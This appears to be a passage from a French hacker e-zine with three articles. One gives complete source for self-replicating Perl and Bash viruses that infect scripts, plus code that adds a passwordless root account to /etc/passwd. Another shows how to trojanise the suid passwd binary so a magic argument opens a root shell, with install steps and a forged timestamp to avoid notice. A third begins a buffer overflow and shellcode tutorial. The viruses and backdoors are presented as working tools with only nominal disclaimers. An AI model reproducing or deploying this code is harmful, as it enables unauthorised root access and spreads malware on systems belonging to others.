foreach $Fichier (<*>)					#recherche de fichiers
{
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier))	#teste les droits
  {
    open(File, "$Fichier");				#ouvre le fichier trouv
    @Temp=<File>;					#place son contenu dans le tableau @Temp
    close(File);
    if (@Temp[0] =~ "/perl")				#teste si le fichier est bien un script perl
    {
      if (@Temp[1] ne "\#h0egaard3n\n")			#test qu'il n'est pas dj infect
      {
        open(File, ">$Fichier");			#rouvre le fichier pour y crire
	print File @vx[0 .. 23];			#on y met les 23 premires ligne
	print File @Temp;				#on ajoute  la suite script original
	close (File);
      }
    }
  }
}



Encore une fois rien de compliqu ... 
Je passe trs vite sur cette partie ; je ne montrerai pas les tests, 
c'est sans intert puisque ca fonctionne pareil que pour les scripts 
shell. En ce qui concerne l'optimisation c'est toujours pareil.

L'archive virus.zip contient une version  moiti optimise.

Comme prcdement, on fait un test de vitesse sur l'infection de 9 fichiers:

[emper0r@laptop test]$ time -p ./h0egaard3n
real 0.04
user 0.03
sys 0.01


Il y a rien a dire, le perl c'est carrment plus rapide !




  II. Backdoor :
  ______________

Imaginez que le root lance un script infect : si ce script contient une petite 
backdoor alors la scurit du systme est grandemment compromise.

Voici un exemple de backdoor ajoutant un compte avec les droits root sans 
mot de passe :


$f="/etc/passwd";
if ((-w $f) && (-r $f)){		#regarde si l'on peut lire et crire le /etc/passwd
  open(File, $f);
  @t=<File>;				#copie le fichier dans @t
  close(File);
  $bd = "ftpp::0:0:ftp:/:/bin/sh\n";
  if (@t[6] ne $bd){			#teste si le compte ftpp avec droits root existe dj
    for (0 .. 5){
      @t1[$_]=@t[$_];}			#sauvegarde les 6 premires lignes
    for (6 .. $#t){
      @t2[$_]=@t[$_];}			#sauvegarde les lignes 7 jusqua la fin
    open (File, ">$f");
    print File @t1;			#restore les dbut
    print File $bd;			#ajoute notre compte sans pass avec droit root
    print File @t2;			#restore la suite
}}


Cette backdoor est toute simple : si elle peut ouvrir /etc/passwd elle regarde la 
ligne n7 pour voir si elle n'a pas dj ajout le compte avec droit root sans pass. 
Si ce n'est pas le cas elle l'ajoute.

J'ai choisi de ne mettre le nouveau compte compte root ni au dbut ni  la fin du
fichier passwd, mais dans le milieu. La backdoor est un peu plus grosse mais c'est 
plus discret. Si le root lance ce bout de code alors un simple user n'a plus qu'a 
faire : "su ftpp" et il obtient les droits root.

Il est tout aussi simple de faire la mme backdoor pour le virus bash c0r0na.






             ++++ | Partie 3 : Perl-shell script infection | ++++
                                     
                              => Virus Parasite  mutation simple


Maintenant encore plus amusant :)

Faire une souche virale qui serait capable d'infecter  la fois des scripts shell
et des scripts perl. Le script perl infect serait capable  son tour d'infecter 
soit un autre script perl soit un script shell et inversement.


Comment faire ? :

Notre souche contient pour commencer par exemple le script perl au dbut, et  
la suite le script bash, mais celui si dsactiv, c'est a dire comment avec un 
"#" (videmment car du bash dans un script perl a na pas de sens).

Si ce script dtecte un script perl infectable dans le rpertoire, alors il se 
recopie au dbut  l'identique (il garde le script bash comment biensur). Puis 
il ajoute le script original. 

En revanche, si ce script rencontre un fichier bash infectable il recopie la partie 
bash dcomment au dbut, commente la parti perl et la recopie en suivant, puis remet 
le script original. Le script bash doit biensur avoir la mme capassit que le script 
perl dcrit au-dessus. Comment a mes explication sont pas claires ? :)




  I. Virus parasite  mutation simple :
  _____________________________________



Notre virus doit donc tre capable de faire des mutations de son code :


 --------                         --------                         -------- 
|virus   |                       |virus   |                       |virus   |
|perl    |       rencontre       |bash    |       rencontre       |perl    |
|--------|  -->  un script  -->  |--------|  -->  un script  -->  |--------|
|#virus  |       bash            |#virus  |       perl            |#virus  |
|#bash   |                       |#perl   |                       |#bash   |
 --------                        |--------|                       |--------|
    ^                            |script  |                       |script  |
    |                            |bash    |                       |perl    |
    |                            |original|                       |original|
    |                             --------                         -------- 
    |                                ^                                ^
    |                                |                                |
Souche virale,               Mutation : la                     Mutation : la partie perl
script perl actif            partie bash est activ            est ractiv et pass
en dbut, script             et plac en dbut.                en dbut.
bash dactiv	             La parti perl suit                La parti bash suit et
 la suite.	             et est dsactiv.                 est dsactiv.
		             En fin on a le                    En fin on a le script
		             script original.                  original.



Biensur le code va devenir vraiment important et les fichiers infect vont 
beaucoup grossir. Et puis imaginez la geule du gars qui va regarder un fichier 
infect, avec du code perl comment dans son script shell ou l'inverse.



[ Le code ]


----8<--------------------------------------------------------------------------------



#!/usr/bin/perl						#parti perl
#H3in3k3n						#marque d'infection
open(File,$0);
@vx=<File>;						#place le virus dans la table @vx
close(File);
foreach $Fichier (<*>){					#recherche les fichiers
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier)){ #test si fichier et vrifie les droits
    open(File, "$Fichier");
    @Temp=<File>;					#sauvegarde le contenu du fichier dans @Temp
    close(File);
    if (@Temp[0] =~ "/perl"){				#teste si c'est un fichier perl
      if (@Temp[1] ne "\#H3in3k3n\n"){			#teste si dj infect
        open(File, ">$Fichier");
        print File @vx[0 .. 61];			#crit le virus
        print File @Temp;				#rcrit le script original
        close (File);}}
    if (@Temp[0] =~ "/bash"){				#si c'est un shell script
      if (@Temp[1] ne "\#H3in3k3n\n"){
        for (0 .. 28 ){
	  @vx2[$_] = "\#" . @vx[$_];}			#commente les 29 premires lignes, rsultat dans @vx2
	for (29 .. 61){
	  @vx1[$_]= @vx[$_];
	  @vx1[$_]=~ s/#//;}				#dcommente les lignes 30  62, rsultat dans @vx1
	open(File, ">$Fichier");
        print File @vx1;				#crit la parti shell script
	print File @vx2;				#crit la parti perl script comment
	print File @Temp;				#rcrit le script original
	close(File);
}}}}
##!/bin/bash						#parti bash
##H3in3k3n						#marque d'infection
#for fichier in *					#recherche de fichier
#do
#  if [ -f $fichier -a -w $fichier ];then		#teste si fichier et vrifie les droits
#      if file $fichier | grep Bourne-A > /dev/null	#teste si c'est un fichier BASH
#       then
#           head -n 2 $fichier  > .a
#           if grep H3in3k3n .a > /dev/null		#teste si dj infect
#           then
#               rm -f .a
#           else
#               cat $fichier > .a			#sauvegarde le script original dans .a
#               head -n 62 $0 > $fichier		#recopie le virus dans le fichier
#		cat .a >> $fichier			#recopie le script original a la suite
#               rm -f .a
#           fi;fi
#      if file $fichier | grep perl > /dev/null		#teste si fichier perl
#      then
#	   head -n 2 $fichier  > .a
#           if grep H3in3k3n .a > /dev/null		#teste si infect
#           then
#               	rm -f .a
#           else
#		cat $fichier > .a
#		awk '{ if ((NR>=34)&&(NR<=62)) print $0 }' $0 > .b
#		cut -b 2- .b > $fichier			#dcommente les lignes 34  62, crit dans le fichier
#		head -n 32 $0 > .b
#		sed -e 's/^/#/' .b >> $fichier		#commente la parti bash et la copi  la suite
#		cat .a >> $fichier			#ecrit le script orignal en suivant
#		rm -f .a .b
#fi;fi;fi
#done


----8<--------------------------------------------------------------------------------



Voila mon virus H3in3k3n ! D'aprs mes tests il fonctionne 
correctement ( merci Ciel ).

Les scripts perl et/ou bash, infects par cette souche, sont  leur tour 
capable d'infecter d'autres scripts perl et bash de faon correcte et ainsi 
de suite. J'ai commenc le perl il y a 3 semaines, juste avant d'crire cet 
article donc il y a certainement des choses maladroites. Il y a des choses  
arranger comme par exemple faire le test d'infection avant de faire le test 
sur le type de fichier, cela permet de gagner un test, supprimmer les 2 fichiers 
temporaires crs la partie bash ...






[ Conclusion ]

Peut tre qu'une version amliore sera publi dans le prochain IOC magazine ; 
l je n'est pas eu le temps entre les exams, fter les vacances et la russite 
aux exams ... :)     

Si vous voulez tester ces virus, vous les trouverez dans l'archive virus.zip

ATTENTION : NE TESTEZ CECI QUE SUR VOTRE PROPRE MACHINE. 

Pour ceux qui veulent des explications sur le code de H3in3k3n ou particip  la 
version 2, vous pouvez m'crire  emper0r@m-net.arbornet.org.















----------------------------------------------------------------------------------------
XII.                     Trojanisez vos binaires                               Neofox
----------------------------------------------------------------------------------------



                   +++++++++++++++++++++++++++++++++++++++
                   ++++ Fichier Joint : passwd.tar.gz ++++
                   +++++++++++++++++++++++++++++++++++++++



[ Introduction ]

Nous allons parler d'une petite mthode qui consiste  trojaniser un excutable 
de manire  y cacher une backdoor  ou de  manire plus gnrale  en dtourner 
le fonctionnement. Vous  trouverez c-joint  dans  l'archive  passwd.tar.gz les 
sources et le Makefile de la backdoor illustrant cet article. Je vous livre cet
outil dans un but purement informatif comme on dit.


                 

 

                ++++ | Partie 1 : Jouez avec vos codes source ! | ++++
                                   
                               => Explications
                               => En pratique




  1. The pourquoi of the comment :
  ________________________________



[ Le Principe ]

UNIX, et donc Linux, est par dfinition "OpenSource" ; outre le fait que ce terme
fera trs bon effet dans une conversation, une consquence directe sera  que vous
trouverez tous les codes sources de votre systme dans votre distribution. 
Le principe est relativement simple : vous choisissez un excutable, suid de pr-
frence, puis vous recherchez dans votre distrib le package correspondant. Ouvrez
le et commenez  tudier les sources. En fonction de l'allure gnrale, regardez
s'il est possible de rajouter quelques lignes de code supplmentaires, en vue  de
faire excuter une action prdfinie au futur programme, si ce dernier est appel
d'une certaine faon. Modifiez donc le code  puis recompilez  en tenant compte du
Makefile ; si tout s'est bien pass, vous avez  prsent le mme excutable qu'au
dbut, si ce n'est qu'il peut dsormais excuter une commande  spciale sur votre 
ordre. Je dois avouer que c'est un peu confus ; nous allons claircir tout a.



[ Et la lumire fut ! quoi que ... ]

Imaginez un  excutable qui, appel avec un certain  argument,  retourne un shell
avec uid/gid 0 ; le programme original  doit donc appartenir au root et tre suid
justement pour pouvoir excuter des commandes de niveau root, mais tout dpend de 
ce qu'on attend de lui. Ce ne sera ni plus ni moins qu'une backdoor,  ceci  prs
que la ntre, bien que trs simple de conception,  passera inaperue  puisqu'elle
sera insre dans un  utilitaire dja existant. Il faut quand mme opposer  cela
une certaine rserve : je dis "passera inaperue", mais cela n'est vrai que si la
machine  laquelle est destin le futur programme, ne fait tourner ni tripwire ni
aucun vrificateur d'intgrit. Par ailleurs, le  fonctionnement du programme  de
dpart ne  devra pas en tre altr. C'est le  principe mme des rootkits que  de 
remplaer un binaire tel que ps ou netstat,  histoire de  cacher un port et/ou un
processus ; vous pouvez tout aussi bien faire en sorte que le programme trojanis
vous retourne un shell. En fait, de nombreuses possibilits s'offrent  nous avec
cette manire de procder. Cependant,  travailler dans  cette voie  peut paratre
inutile, pour des raisons que nous voquerons un  peu plus loin,  mais je m'amuse
 a juste pour le plaisir. Trve de discours, passons  la pratique.




  

  2. En pratique :
  ________________



Ma distrib Redhat par exemple  se compose entre autres de 4 CD : les deux premiers 
contiennent les binaires du systme, le troisime contient de la doc et le dernier
les sources des  binaires en question.  Si ce n'est dja fait, allez donc jeter un 
oeil  votre distrib.

[fox@localhost fox]$ mount /mnt/cdrom
[fox@localhost fox]$ cd /mnt/cdrom
[fox@localhost cdrom]$ cd SRPMS
[fox@localhost SRPMS]$ ls -al

...
-rw-r--r--   1 root       root         12345 ao 31 2000 openssl-0.9.src.rpm
-rw-r--r--   1 root       root         34567 ao 31 2000 pam-0.72-26.src.rpm
-rw-r--r--   1 root       root         54321 ao 31 2000 passwd-0.64.1-4.src.rpm
-rw-r--r--   1 root       root         22334 ao 31 2000 pcutils-0.2.1-8.src.rpm
...

[fox@localhost SRPMS]$

Bien, nous allons regarder ce que contient le package "passwd-0.64.1-4.src.rpm".

[fox@localhost SRPMS]$ cp passwd* /tmp
[fox@localhost SRPMS]$ cd /tmp
[fox@localhost /tmp]$ umount /mnt/cdrom
[fox@localhost /tmp]$ rpm -i passwd-0.64*.src.rpm
[fox@localhost /tmp]$ cd /usr/src/redhat/SOURCES
[fox@localhost SOURCES]$ ls -ldg passwd*
[fox@localhost SOURCES]$
drwxrwxrwx  2 fox        fox            4096 ao 31 2000 passwd-0.64.1
[fox@localhost SOURCES]$ cd passwd*
[fox@localhost passwd-0.64.1]$ ls
Changelog  chfn.1  chsh.1  passwd.1  passwd.pamd  pwdb.c  pwdstat.c  version.h
Makefile   chfn.c  chsh.c  passwd.c  passwd.spec  pwdb.h  version.c
[fox@localhost passwd-0.64.1]$


Intressant ... en fait, comme on pouvait s'y attendre, cette archive contenait
les sources de l'excutable "/usr/bin/passwd" ( servant  changer le mot de passe 
d'un compte), mais aussi les sources de deux autres utilitaires : chfn et chsh ; 
le premier sert  changer les informations relatives  un compte utilisateur, et 
le second sert  changer le shell attribu  ce compte. 
Mais celui qui nous intresse est bien sr "passwd". Nous pouvons dj commencer 
 tudier le code source passwd.c et rflchir  une manire de transformer cet
excutable tout ce qu'il y a de plus banal, en une backdoor discrte.





 

 



                ++++ | Partie 2 : Trojaniser "passwd" | ++++

                              => Etude et modification du source
                              => Installation et dmonstration
                              => Quelques Remarques




Cette partie sera nettement plus longue que la prcdente, aussi je me demande 
pourquoi avoir organis l'article de cette manire ;  enfin, ayant la flme de
tout reprendre, je vous invite  fermer les yeux sur ce trs lger dtail et 
poursuivre votre lecture.



  1. Etude et modification du source :
  ____________________________________


Nous allons examiner le code petit  petit :

[fox@localhost passwd-0.64.1]$ more passwd.c

#include <stdio.h> /* No ?! */
#include <stdlib.h>
...
#include "pwdb.h"

On voit que le gars de chez Redhat a cre son petit header perso pour se
simplifier la vie ; il faudra en tenir compte, nous verrons a plus loin.
Suivent plusieurs sries de #define, aprs quoi, le code va commencer  se
compliquer ;@). Il n'est pas ncessaire de comprendre tout le code je vous
rassure, mais il faut nanmoins saisir le sens gnral de chaque fonction ;
le source est suffisamment clair et bien anot, donc pas de panique.

On tombe sur une premire sous-fonction relativement courte, mais qui 
n'as pas l'air trs sympathique, ni exploitable d'ailleurs ; on passe.
Nous arrivons ensuite  la fonction qui vas nous occuper un moment :



void parse_args(int argc, char *argv[])



Le nom est assez vocateur ;  la premire lecture, j'ai pens qu'il 
s'agissait d'une fonction servant  grer les arguments passs au 
programme sur la ligne de commande ; le main() me donnera raison par 
la suite. C'est donc cette fonction que nous allons bidouiller. 
On continue notre lecture de cette dernire, et on arrive ici :



  /* now, only root can specify an username */
  username = NULL;
  if(extraArgs && etraArgs[0]){
         if(getuid()){
             /* non root */
             fprintf(stderr, "%s: Only root can specify a username\n", 
                     progname);
             exit(-3);
         } else {
             username = extraArgs[0];
             /* test the username for length */
             if (strlen(username) > MAX_USERNAMESIZE){
                    fprintf(stderr, "%s: The username supplied is to long\n",
                            progname);
                    ext(-3);
             }
         }

   /* ... */

   }


C'est cette partie prcisemment qui nous intresse. 
Peut- tre avez vous dj saisi le code, sinon voici quelques explications.
Gnralement, un programme est appel ainsi :


fox$  ./prog   argument1   arguement2

      argv[0]  argv[1]     argv[2]


argv[] est donc un tableau de pointeurs, lesquels pointent comme leur nom l'indique
vers des donnes de type char, qui sont ici les arguments passs en ligne de commande.
Mais dans notre exemple, nous avons un tablau nomm extraArgs[];
Ce tableau contient lui aussi les arguments passs en ligne de commande, mais de la
manire suivante :

   argv[0]    =    argv[0]   /* = progname */
   argv[1]    =    extraArgs[0]
   argv[2]    =    extra Args[1]


Pour comprendre pourquoi, il nous faut connatre la syntaxe de "passwd".



Je suppose que vous savez dj comment fonctionne "passwd", mais on va 
quand mme prciser, au cas o :

[fox@localhost fox]$ whoami
fox
[fox@localhost fox]$ passwd
Changing password for fox
(current) UNIX password: 
New UNIXpassword :
Retype new UNIX password:
passwd: all authentication tokens updates successfully
[fox@localhost fox]$ passwd toto
passwd: Only root can specify a username
[fox@localhost fox]$


En tant que simple utilisateur "fox", on ne peut que changer son mot
de passe personnel, donc on ne peut pas appeler "passwd" avec argument.


Ainis, si l'utilisateur n'est pas root, il faut s'assurer qu'il n'entre aucun 
argument, c'est  dire que extraArgv[0] soit null.

Si   uid!=0  et "extraArgs[0] != 0"   cela signifie que l'utilisateur n'est pas
root et a quand mme spcifi un argument, donc message d'erreur et sortie du 
programme. Ce qui donne :


      if(extraArgs && extraArgs[0]){
      /* si un argument */
         if(getuid()){
         /* et si pas root */
             fprintf(stderr, "%s: Only root can specify a username\n", 
                     progname);
             /* sortie */
             exit(-3); 
             
         }


C'est  ce moment l que nous allons intervenir !



[ Quel code insrer ? ]

Le binaire /usr/bin/passwd est suid, donc on peut lui faire excuter nos commandes 
avec les droits du root. On va faire en sorte que si  "passwd"  est appel avec un 
certain argument, il nous donne uid/gid=0  et excute un shell. Problme : seul le 
root peut spcifier un  argument ... ben va falloir remodeler tout a ! 
Je vous propose ceci :


#define MAGIC_STRING "givemeroot"

char *shell[2];
...


      /* si un argument */
      if (extraArgs && extraArgs[0]) {

        /* et si pas root */
	if (getuid()) {

            /* et si l'argument est "givemeroot" */
	    if(strstr(argv[1],MAGIC_STRING)!=NULL){

                  /* alors retourne un shell */
                  shell[0]="/bin/sh";
                  shell[1]=NULL;          
                  setuid(0);
                  setgid(0);
                  execve(shell[0],shell,NULL);

               } else {

               /* sinon, l'argument n'est pas "givemeroot". En tant qu'user */
               /* aucun argument n'est autoris : sortie du programe */
	            fprintf(stderr, "%s: Only root can specify a username\n", 
                            progname);
	            exit(0);
               }
	}


Voil, c'tait tout bte, mais a va s'avrer trs efficace par la 
suite. On doit donc recompiler  prsent, de manire  obtenir notre 
nouvel excutable. Pour cela, il nous faut tenir compte du Makefile, et 
mme crer notre propre Makefile.




[ Le Makefile ]

Pour que notre outil fonctionne, il faut ajouter lors de la compilation le fichier 
pwdb.c. Ce dernier contient toute une srie de fonctions utilises par "passwd" pour 
la gestion des passwords : on trouve entre autres, les fonctions lock_passwd, 
unlock_passwd et delete_entry, pour vrouiller/dvrouiller un compte et supprimer 
une entre. Nous devrons inclure ce fichier  notre future archive. Comme je le 
prcisais un peu plus haut, il faut galement inclure le header pwdb.h. 
Nous allons rcrire le Makefile correspondant  nos besoins :


[fox@localhost passwd-0.64.1]$ cat << EOF > Newmakefile

CC	= gcc
LDFLAGS	= -ldl -lpam -lpam_misc -lpwdb
POPT	= -lpopt
PROJECT	= passwd

passwd: passwd.o pwdb.o
	$(CC) $(LDFLAGS) -o $@ $^ $(POPT)

EOF
[fox@localhost passwd-0.64.1]$

J'ai repris les options tel qu'elles figuraient dans le Makefile original, sans trop
savoir d'ailleurs avec prcison la signification de chacune. Bien, nous allons donc 
crer une nouvelle archive contenant les sources modifies de notre outil.

Nous devons y inclure :   o Le Makefile
                          o Le header pwdb.h
                          o Le source pwdb.c indispensable
                          o Le source principal passwd.c


[fox@localhost passwd-0.64.1]$ mkdir /home/fox/passwd
[fox@localhost passwd-0.64.1]$ mv Newmakefile /home/fox/passwd/Makefile
[fox@localhost passwd-0.64.1]$ cp passwd.c /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cp pwdb.c /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cp pwdb.h /home/fox/passwd
[fox@localhost passwd-0.64.1]$ cd
[fox@localhost fox]$ cd passwd
[fox@localhost passwd]$ ls
Makefile  passwd.c  pwdb.c  pwdb.h
[fox@localhost passwd]$ cd ../
[fox@localhost fox]$ pwd
/home/fox
[fox@localhost fox]$ ls passwd
passwd
[fox@localhost fox]$ tar -c passwd > passwd.tar
[fox@localhost fox]$ gzip passwd.tar
[fox@localhost fox]$ ls passwd*
passwd  passwd.tar.gz
[fox@localhost fox]$


Et voil notre nouvelle archive fin prte. Nous allons l'installer et
faire une petite dmonstration.








  2. Installation et Dmonstration :
  __________________________________


[ Attention ]

Une fois le nouveau "passwd" compil, vous devrez l'installer  la place de l'original.
Pensez  garder une copie du vrai binaire quelque part. Remplacer un binaire est tout
 fait possible et passera inaperu sur un systme ne faisant tourner aucun vrificateur
d'intgrit tel que tripwire. Rapellez vous de n'installer et de n'utiliser cet outil 
que sur votre machine ou sur une machine o vous tes autoriss  le faire.



[ Installation ]

Nous supposerons que vous ayez un accs root sur la machine "test", cette dernire 
tant une redhat ne faisant pas trourner tripwire. Nous supposerons galement que 
vous venez de downloader l'archive passwd.tar.gz qui se trouve maintenant
dans /home/user/...



[user@test ~/user]$ whoami
user
[user@test ~/user]$ cd ...
[user@test ...]$ ./votre_shell_suid
bash# whoami
root
bash# ls passwd*
passwd.tar.gz
bash# gzip -cd passwd.tar.gz | tar xvf -
passwd/Makefile
passwd/passwd.c
passwd/pwdb.c
passwd/pwdb.h
bash# ls passwd*
passwd   passwd.tar.gz
bash# cd passwd
bash# ls 
Makefile  passwd.c  pwdb.c  pwdb.h
bash#

Bien, compilons et installons ...

bash# make

gcc    -c -o passwd.o passwd.c
gcc    -c -o pwdb.o pwdb.c
gcc    -ldl -lpan -lpam_misc -lpwdb -o passwd passwd.o pwdb.o -lpopt

bash# ls
Makefile  passwd  passwd.c  passwd.o  pwdb.c  pwdb.h  pwdb.o
bash# which passwd
/usr/bin/passwd
bash# ls -al /usr/bin/passwd
-r-s--x--x    1 root     root        12536 jui 12  2000 /usr/bin/passwd
bash# chmod 4511 passwd
bash# cp /usr/bin/passwd old_passwd
bash# ls 
Makefile  old_passwd  passwd  passwd.c  passwd.o  pwdb.c  pwdb.h  pwdb.o
bash# rm /usr/bin/passwd
bash# cp passwd /usr/bin
bash# ls -al /usr/bin/passwd 
-r-s--x--x    1 root     root        12641 jun 04  2002 /usr/bin/passwd
bash# touch -t 200007121111 /usr/bin/passwd
bash# ls -al /usr/bin/passwd
-r-s--x--x    1 root     root        12641 jui 12  2000 /usr/bin/passwd
bash#




Bien, regardons si passwd fonctionne toujours comme il devrait :


[root@test passwd]# exit
[user@test ...]$ cd
[user@test ~/user]$
[user@test ~/user]$ which passwd
/usr/bin/passwd
[user@test ~/user]$ passwd 
Changing password for user
(current) UNIX password:
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updates successfully
[user@test ~/user]$ 


Le nouvel outil "passwd" fonctionne comme l'original.
Testons  prsent la backdoor :


[user@test ~/user]$ whoami
user
[user@test ~/user]$ passwd toto
passwd: Only root can specify a username
[user@test ~/user]$ passwd givemeroot
sh-2.04# whoami
root
sh-2.04#



Et voil notre petite backdoor basique, bien planque dans un
excutable hors de tout soupon !





   3. Quelques Remarques :
   _______________________


o Je ne le rpterai jamais assez, ceci n'est utilisable qu'en l'absence de
  vrificateur d'intgrit, sinon, non ! voil, c'est clair ! Admins, faites
  donc rgulirement appel  tripwire via cron !

o Les sources originales sont celles d'une redhat, et par consquent, 
  vous ne pourrez utiliser cette backdoor que sur une redhat. Cet outil 
  a t test avec succs sur ma 7.0 ainsi que sur une 6.1. Il semblerait 
  donc qu'il fonctionne indpendament de la version ; toutefois, si vous 
  notez un problme avec votre distrib, tenez moi au courant en prcisant 
  de quelle version il s'agit.





[ Conclusion ]

Je vous encourage  jeter de temps en temps un coup d'oeil  vos sources, 
ne serait-ce que par plaisir de lire du code, et tant qu'a faire, 
de le comprendre =).

 












---------------------------------------------------------------------------------------
XIII.              Buffer Overflow  &  Shellcodes x86 Howto                      Li0n7
---------------------------------------------------------------------------------------


[ Sommaire ]

 Dpassement de tampon
     |-> Processus et fonctions
     |-> La pile structure et comportement

 Shellcode
     |-> Les registres
     |-> Les instructions
     |-> Programmation de shellcodes
            |-> hello.S
            |-> bin.S
            |-> cshell.c
            |-> the_last_one.c

 ANNEXE : Shellcodes par Neofox
 


 



 
[ Introduction ]
 
Chaque semaine, des failles de scurits sont dcouvertes dans certains programmes,
qu'ils soient rpandues ou non. Elles rsultent toujours d'une erreur de programmation
anodine dont les consquences sont souvent dsastreuses et irrversibles pour les 
serveurs proposant des services quelconques cachs drrire les dit-programmes. 
Ces failles se limitent dans la majorit des cas  des buffer overflows de tout type,
mais qu'en est-il vraiment? Analyse d'une attaque dynamique locale ou distante 
sophistique et portable, toute architecture, plus qu' a mode.



                    ++++ | Partie 1 : Dpassement de tampon | ++++
                                    
                                    => Processus et fonctions
                                    => La pile : strucutre et comportement



  I. Processus et fonctions :
  ___________________________


Pour comprendre les dpassements de tampon, il faut connaitre le fonction d'un 
ordinateur au niveau de la gestion des processus et de l'allocation dynamique de 
la mmoire.Toute machine fait appel  des processus, qui grent les entres/sorties 
(i/o), lesquels font priodiquement appels  des fonctions. Lors de l'appel d'un 
processus, l'OS va lui allouer de la mmoire, initialise par le code de la premire
fonction  tre xcute. Familires aux programmeurs, elle est appele point d'entre, 
parce qu'elle dbut tout processus, ou plus gnralement main.

 ex:
 En C:   void main(void) {}
 En ASM: .gobl main
               main: 
 

Il est important de savoir que les fonction s'enchainent en appelant sans-cesse 
d'autres sous fonctions. Une fonction doit donc pouvoir stocker ses propres donnes, 
et c'est alors qu'intervient la pile (stack), qui n'est autre qu'un portion de mmoire 
alloue par le CPU. 

Les fonctions communiquent avec la pile perptuellement, par le biais de plusieurs 
instructions:

    o push $valeur     - Place en haut de la pile une valeur quelconque passe en paramtre.
    o pop  $REGISTRE   - Slctionne le dernier lment stock au sommet de la pile pour le 
                         placer dans un registre pass en paramtre. I


Imaginez donc la suite lorsque la pile se trouve remplie par une variable dont 
la taille est suprieure  sa mmoire totale de stockage... 
Beau plantage en perspective... 

                               +---------------+
                               |               |
                               |               |       
                               |     [CPU]     |                             
                               |               |
                               |               |       
                               +---------------+
                                       |
                                       |                                       
                                       |
                                       * PROCESSUS
                                       |
                                       |
                                     --*-- Fonction 1 (point d'entre)
                                    |     |                                  
                                    |     |
                  Sous fonction  --*|     |*-- Sous fonction 1

                                       


Nous savons donc que le processeur initialise une mmoire systme  la pile avant l'appel
d'une fonction ; une fois une sous-fonction acheve, la fonction l'ayant appel prend sa 
place et continue son xcution. 

Le processeur doit donc grer la mmoire, xcuter certaines taches tout en gardant la 
trace de l'ensemble des instructions xcutes. Il va donc faire appel  une  zone de 
stockage temporaire: les registres. 

Il existe une bonne douzaine de registres spcialiss dans la sauvegarde de certains 
types de donnes  des moments critiques. Un de ces registres nous intrsse plus 
particulirement il s'agit, du registre #eip, ou plus communment appel le pointeur 
d'instruction. Ce dernier pointe sur l'instruction en cours d'xcution. 

Si la fonction appelle une autre fonction sous jacente, alors le pointeur est 
rinitialis et pointe sur la dernire fonction en cours d'xcution. Celle-ci 
acheve, le pointeur d'instruction, doit tre capable de se rinitialiser et de 
repointer sur la fonction antrieure. 

Toutes ces valeurs, le ptr d'instruction compris, sont stocks dans la stack. 
L'attaquant essaiera donc de faire dborder le tampon pour modifier l'adresse de 
l'instruction de retour.
 

[ Temps 1 ] - EIP pointe sur F1

                               EIP                               EIP 
                          ------------> fonction 1 <-----   <------------ |Temps 3] - EIP repointe sur F1 
 
[ Temps 2 ] - EIP pointe sur SF1            |           |      
                                            |           |
                               EIP          |           |  
                          ------------>     |----> appel sous-fonction 1 







  II. La pile, structure et comportement :
  ________________________________________




Entrons dans le vif du sujet : 
La pile est un bloc hbergeant temporairement des donnes en temps rl, 
elle est donc constamment manipule et modifie.

  
------8<---------------------------------------------------------------------

void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}
------8<---------------------------------------------------------------------


Dans cet exemple ( tir du clbre paper d'Aleph One), lors de la fonction main(), 
la variable char large_string de 256 octetsva tre remplie de A, puis main appelle 
function qui copie large_string dans une variable type char de 16 octets appel 
buffer. Le rsultat ? Une erreur de segmentation surviendra, le core sera dump, 
le programme crashera.

 
                                +----------+
                                | Tampon   |
                                | recouvre |    
Attaquant remplit    --->       | adresse  |  <---   shellcode insr 
    tampon                      | de       |
                                | retour   |          STOP
Adresse de retour    --->       +----=-----+  --> +----------+     
     crase                    +----=-----+      |          |
                                |    =     |      |   NULL   | 
                                |    =     |  --> +----------+
                                |    =     |
                                |  STACK   |   
                                |          |
                                |          |
                                +----------+
                                | Adresse  |
                                | sauve   |
                                +----------+


Mais attention si le pointeur d'instruction rencontre un caractre NULL, alors la 
chaine de caractre s'arrtera sur le champ ; le payload ne sera alors pas xcut. 
La majorit des buffer overflows se situent au niveau de fonctions comme  strcpy, 
lstrcy (toutes ses variantes), sprintf, strcat, lstrcat, etc ... qui ne vrifient 
pas si la variable peut contenir ou nom la chaine de caractre passe en second paramtre.

Une fois la pile crase, l'adresse de retour est alors modifie pour pointer sur 
le shellcode que le pirate aura alors plac dans la pile. Il va donc prendre le
contrle du processeur en codant un payload tout en shellcode, au pralable cod en 
assembleur, puis en l'xcutant sur le systme attaqu. 

Le payload se logeant avec les autres donnes dans la pile, il faut que le pointeur 
d'instruction pointe sur le dbut du code : une erreur d'estimation serait fatale pour 
l'assaillant.





                    ++++ | Partie II : Les Shellcodes | ++++


Dans le cadre d'un buffer overflow, nous allons essayer de passer des instructions 
 notre processeur victime, dans le but d'exploiter cette faille  des fins personnelles. 
Les possibilits sont multiples : virus, backdoors, spwaning de shell ... Laissez libre 
cours  votre imagination.



 
  I. Les registres :
  __________________


Il existe un grand nombre de registres, dont voici une liste:

 EAX: accumulateur
 EBX: adresse de base
 ECX: compteur
 EDX: donnes
 EDI: index destination
 ESI: index source
 EIP: pointeur d'instruction
 ESP: pointeur de pile
 EBP: pointeur de base de la pile
 EFL: indicateur



  II. Les instructions :
  ______________________
 
De nombreuses instructions vont tre ncssaires pour mettre en oeuvre le payload en 
shellcode. En voici quelques-unes :

 mov:  Dplace une quelconque valeur dans un registre
 leal: Charge une adresse mmoire dans un registre
 push: Place en haut de la pile une valeur quelconque passe en paramtre.
 pop:  Slctionne le dernier lment stock au sommet de la pile pour le placer 
       dans un registre pass en paramtre.
 ret:  Jump jusqu' l'adresse mmoire en haut du stack
 call: Appel une fonction
 jmp:  Saute jusqu' une fonction
 cmp:  Equivalent du if, permet de comparer deux valeurs
 jz:   Equivalent du alors jmp
 xor:  Ou exclusif, opration sur les bits.
 dev:  Dcrmente (i--;)
 inc:  Incrmente (i++;)




  III. Programmation de shellcodes :
  __________________________________


Donc, nous allons commencer par un petit hello world, je trouve a vraiment 
banal, mais bon, il faut vien commencer par quelque chose de facile ...
En C, rien de plus simple:

----8<--------------------------
 #include <stdio.h>
